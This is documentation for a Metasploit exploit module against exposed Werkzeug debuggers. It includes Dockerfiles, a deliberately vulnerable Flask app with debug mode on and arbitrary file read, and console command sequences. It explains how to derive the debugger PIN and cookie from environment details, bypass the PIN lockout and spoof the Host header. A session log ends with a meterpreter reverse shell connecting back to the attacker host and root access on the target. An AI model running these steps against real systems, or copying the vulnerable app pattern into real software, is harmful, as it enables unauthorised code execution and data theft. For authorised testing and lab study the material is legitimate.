documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
The Werkzeug debugger allows developers to execute python commands in a web application either when an exception is not caught by the application, or via the dedicated console if enabled.
Werkzeug is included with Flask, but the debugger is not enabled by default. It is also included in other projects, for example RunServerPlus, part of django-extensions and may also be used alone.
The Werkzeug documentation states: "The debugger allows the execution of arbitrary code which makes it a major security risk. The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production. Production means anything that is not development, and anything that is publicly accessible."
Additionally, the Flask documentation states: "Do not run the development server, or enable the built-in debugger, in a production environment. The debugger allows executing arbitrary Python code from the browser. It’s protected by a pin, but that should not be relied on for security."
Of course this doesn't prevent developers from mistakenly enabling it in production!
Werkzeug versions 0.10 and older of did not include the PIN security feature,
therefore if the debugger was enabled then arbitrary code execution could be
easily achieved. Versions 0.11 and above enable the PIN by default, though it
can be disabled by the application developer. The format of the PIN is 9
numerical digits, and can include hyphens (which are ignored by the
application.) I.e. 123456789 is the same as 123-456-789. The PIN is logged
to stdout when the PIN prompt is shown to the user, therefore if access to
stdout is possible then it may be able to obtain the PIN using that feature.
A custom PIN can be set by the application developer as an environment variable, but it is more commonly generated by Werkzeug using an algorithm that is seeded by information about the environment that the application is running in.
Therefore, if the debugger or console is enabled and is not protected by a PIN, or if it is possible to obtain the PIN, cookie or the required information about the environment that the app is running in (e.g. by exploiting a separate path traversal bug in the app) then remote Python code execution will be possible.
If the debugger is "secured" with a PIN then, it will be automatically locked after 11 unsuccessful authentication attempts, requiring a restart to re-enable PIN based authentication. This can be avoided by calculating the value of a cookie and sending that to the debugger instead of sending the PIN, which is what this module does, unless the Known-PIN method of exploitation is used. Furthermore, authentication using a cookie works even if the PIN-based authentication method has been locked because of too many failed authentication attempts. This means that this exploit will work even if the debugger PIN-authentication is locked.
HackTheBox had a challenge called "Agile" that required this vulnerability to be exploited in order to gain an initial foothold. As a result there are many walkthroughs available online that explain how a valid PIN can be generated using the algorithm in the Werkzeug source code along with information about the environment. As far as I can tell, none of these walkthroughs mention that a cookie can also be generated, and that a cookie will bypass a PIN-locked debugger. Neither do they mention that very old versions of Werkzeug don't require PIN or that the PIN/cookie generation algorithm has changed over time.
To support the different PIN/cookie generation algorithms, this module supports multiple different versions of Werkzeug as the target.
It should be noted that version 3.0.3 includes a check to see ensure that requests that include python code to be executed by the debugger must come from localhost or 127.0.0.1. This is done by checking the Host HTTP header, and therefore can in some cases be bypassed by setting the Host header manually using the VHOST parameter in this module.
This module has been verified against the following versions of Werkzeug:
The following Docker Compose file, Dockerfiles and Python script can be used to build and run a set of containers that have the console enabled (at /console) and also contains endpoints that cause the application to attempt to read the content of a file and include it in the response. These endpoints can be used for arbitrary file read, but also for triggering the debugger, for example by requesting the content of a file that doesn't exist in the container.
services:
werkzeug-3.0.3:
build:
dockerfile: werkzeug-3.0.3.Dockerfile
ports:
- "80:80"
werkzeug-1.0.1:
build:
dockerfile: werkzeug-1.0.1.Dockerfile
ports:
- "81:80"
werkzeug-0.11.5:
build:
dockerfile: werkzeug-0.11.5.Dockerfile
ports:
- "82:80"
werkzeug-0.10:
build:
dockerfile: werkzeug-0.10.Dockerfile
ports:
- "83:80"
werkzeug-3.0.3-basicauth-custompin:
build:
dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
environment:
WERKZEUG_DEBUG_PIN: 1234
ports:
- "84:80"
werkzeug-3.0.3-noevalex:
build:
dockerfile: werkzeug-3.0.3.Dockerfile
ports:
- "85:80"
entrypoint:
- ./app.py
- --no-evalex
# syntax=docker/dockerfile:1
FROM python:3
RUN pip install werkzeug==3.0.3 flask==3.0.3
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]
# syntax=docker/dockerfile:1
FROM python:2
RUN pip install werkzeug==1.0.1 flask==1.1.4
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]
# syntax=docker/dockerfile:1
FROM python:2
RUN pip install werkzeug==0.11.5 flask==0.12.5
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]
# syntax=docker/dockerfile:1
FROM python:2
RUN pip install werkzeug==0.10 flask==0.12.5
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]
# syntax=docker/dockerfile:1
FROM python:3
RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
COPY report.txt .
COPY --chmod=744 app-basicauth.py app.py
EXPOSE 80
ENTRYPOINT ["./app.py"]
#!/usr/bin/env python
import click
from flask import Flask, request, url_for, make_response
from sys import argv
app = Flask(__name__)
@app.route("/")
def index():
return (
'<p><a href="' + url_for("getdownload", file="report.txt") + '">'
'Download Report Using GET</a></p>'
'<p><form method="post" action="' + url_for("postdownload") + '">'
'<input name="file" type=hidden value="report.txt">'
'<input type="submit" value="Download Report Using POST">'
'</form></p>'
)
def build_response(filename):
with open(filename) as file:
response = make_response(file.read())
response.headers['Content-disposition'] = 'attachment'
return response
@app.route("/getdownload")
def getdownload():
return build_response(request.args.get('file'))
@app.route("/postdownload", methods=['POST', 'PUT'])
def postdownload():
return build_response(request.form['file'])
@click.command()
@click.option("--no-evalex", is_flag=True, default=False)
def runserver(no_evalex):
evalex = not no_evalex
app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
use_reloader=False, use_evalex=evalex)
if __name__ == '__main__':
runserver()
#!/usr/bin/env python
import click
from flask import Flask, request, url_for, make_response
from sys import argv
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {"admin": generate_password_hash("admin")}
@auth.verify_password
def verify_password(username, password):
if username in users and \
check_password_hash(users.get(username), password):
return username
@app.route("/")
@auth.login_required
def index():
return (
'<p><a href="' + url_for("getdownload", file="report.txt") + '">'
'Download Report Using GET</a></p>'
'<p><form method="post" action="' + url_for("postdownload") + '">'
'<input name="file" type=hidden value="report.txt">'
'<input type="submit" value="Download Report Using POST">'
'</form></p>'
)
def build_response(filename):
with open(filename) as file:
response = make_response(file.read())
response.headers['Content-disposition'] = 'attachment'
return response
@app.route("/getdownload")
@auth.login_required
def getdownload():
return build_response(request.args.get('file'))
@app.route("/postdownload", methods=['POST', 'PUT'])
@auth.login_required
def postdownload():
return build_response(request.form['file'])
@click.command()
@click.option("--no-evalex", is_flag=True, default=False)
def runserver(no_evalex):
evalex = not no_evalex
app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
use_reloader=False, use_evalex=evalex)
if __name__ == '__main__':
runserver()
Hi there, I'm a sample report
use exploit/multi/http/werkzeug_debug_rceset RHOSTS <Iip>set LHOST <ip>set VHOST 127.0.0.1set MACADDRESS <mac-address>set MACHINEID <machine-id>set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py (where <python3.version> matches the version on the system being exploited)runset TARGETURI /getdownload?file=runset METHOD POSTset TARGETURI /postdownloadset REQUESTBODY file=rununset METHODunset TARGETURIunset REQUESTBODYset RPORT 81set TARGET 1set MACADDRESS <mac-address>set MACHINEID <machine-id>set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pycrunset TARGETURI /getdownload?file=runset METHOD POSTset TARGETURI /postdownloadset REQUESTBODY file=rununset METHODunset TARGETURIunset REQUESTBODYset RPORT 82set TARGET 2set MACADDRESS <mac-address>set MACHINEID <machine-id>runset TARGETURI /getdownload?file=runset METHOD POSTset TARGETURI /postdownloadset REQUESTBODY file=rununset METHODunset TARGETURIunset REQUESTBODYset RPORT 83set TARGET 3set AUTHMODE noneset MACADDRESS <mac-address>set MACHINEID <machine-id>runset TARGETURI /getdownload?file=runset METHOD POSTset TARGETURI /postdownloadset REQUESTBODY file=runset RPORT 84set TARGET 0set AUTHMODE known-PINset HTTPUSERNAME adminset HTTPPASSWORD adminset PIN 1234runset RPORT 85unset AUTHMODEset MACADDRESS <mac-address>set MACHINEID <machine-id>set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py (where <python3.version> matches the version on the system being exploited)runAUTHMODEMethod of authentication. Valid values are:
generated-cookie: Cookie generated from information provided about the
application's environment. When this mode is used, the following additional
options must be set:
APPNAME: The name of the application according to Werkzeug. This is often
Flask, DebuggedApplication or wsgi_app. Used along with other
information to generate a PIN and cookie.CGROUP: Control group. This may be an empty string (''), for example if
the OS running the app is Linux and supports cgroup v2, or the OS is not
Linux. If you have path traversal on Linux, this could be read from
/proc/self/cgroupFLASKPATH: Path to (and including) site-packages/flask/app.py. If you
have triggered the debugger via an exception, it will be at the top of the
stack trace. E.g. /usr/local/lib/python3.12/site-packages/flask/app.py.
Note that the file extension may need to be changed to .pycMACADDRESS: The MAC address of the system that the application is running
on. If you have path traversal on Linux, this could be read from
/sys/class/net/eth0/MACHINEID:
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid.N0TAREALSERIAL
becomes
4e3054415245414c53455249414c000000000000000000000000000000000000. This
can be retrieved with the following command
ioreg -c IOPlatformExpertDevice | grep \"serial-number\"MODULENAME: Name of the application module. Often flask.app or
werkzeug.debugSERVICEUSER: User account name that the service is running under.
This may be an empty string ('') in some cases
. If you have path traversal on Linux, you may be able to read this from
/proc/self/environknown-cookie: Cookie provided by user. When this mode is used, the
following additional option must be set:
COOKIE: The HTTP cookie to use for authentication to the debugger.known-PIN: Does not bypass PIN-locked applications. PIN provided by
user. When this mode is used, the following additional option must be set:
PIN: Known 6 digit PIN to use for authentication. This can be set to a
custom value by the application developer, in which case generating the pin
won't work. However, if you have path traversal, you may be able to
retrieve the PIN by reading the application source code, or on Linux by
reading /proc/self/environ to obtain the value. of the
WERKZEUG_DEBUG_PIN environment variable. It may also be possible to obtain
the PIN by accessing the logging that Werkzeug prints to stdout.none: For applications that don't require authentication. I.e. Werkzeug
version 0.10 or lower or PIN authentication has been disabled by the
application developer.METHODHTTP method used to access debugger or console. This is typically GET if the
TARGETURI is /console but it may be necessary to use other methods to
trigger the debugger. Valid values are: GET, HEAD, POST, PUT, DELETE,
OPTIONS, TRACE and PATCH. When METHOD is POST, PUT or PATCH the
following additional option may be set:
REQUESTBODY: Body to send in POST/PUT/PATCH request, if required to trigger
the debugger. E.g. invalid form value to raise an exception. When this is
set the following additional option may be set:
REQUESTCONTENTTYPE: Request body encoding. Default:
application/x-www-form-urlencodedTARGETURIThe path to the console or resource used to trigger the debugger. Default value
is /console.
VHOSTThe value to use in the HTTP Host header. It may be necessary to set this to
127.0.0.1 or localhost if the target Werkzeug version is 3.0.3 or later,
however this may hamper connectivity if the Host header is validated before
the request is passed to the application.
TARGETDetermines which algorithm the exploit module will use to generate a pin and cookie. Valid values are:
0: Werkzeug > 1.0.1 (Flask > 1.1.4)1: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)2: Werkzeug 0.11 - 0.11.5 (Flask < 1.0)3: Werkzeug < 0.11 (Flask < 1.0)Example utilizing the previously mentioned sample app listed above.
$ msfconsole -q
msf > use exploit/multi/http/werkzeug_debug_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
RHOSTS => 192.168.23.5
msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
LHOST => 192.168.23.117
msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
VHOST => 127.0.0.1
msf exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
MACADDRESS => 02:42:ac:12:00:04
msf exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
msf exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
msf exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 192.168.23.117:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Generated authentication PIN: 105-774-671
[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
[*] Sending stage (24772 bytes) to 192.168.23.5
[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100
meterpreter > getpid
Current pid: 38
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 3eb759665d5f
OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
Architecture : aarch64
System Language : C
Meterpreter : python/linux
meterpreter > shell
Process 41 created.
Channel 1 created.
ls
app.py
bin
boot
dev
etc
home
lib
media
mnt
opt
proc
report.txt
root
run
sbin
srv
sys
tmp
usr
var
exit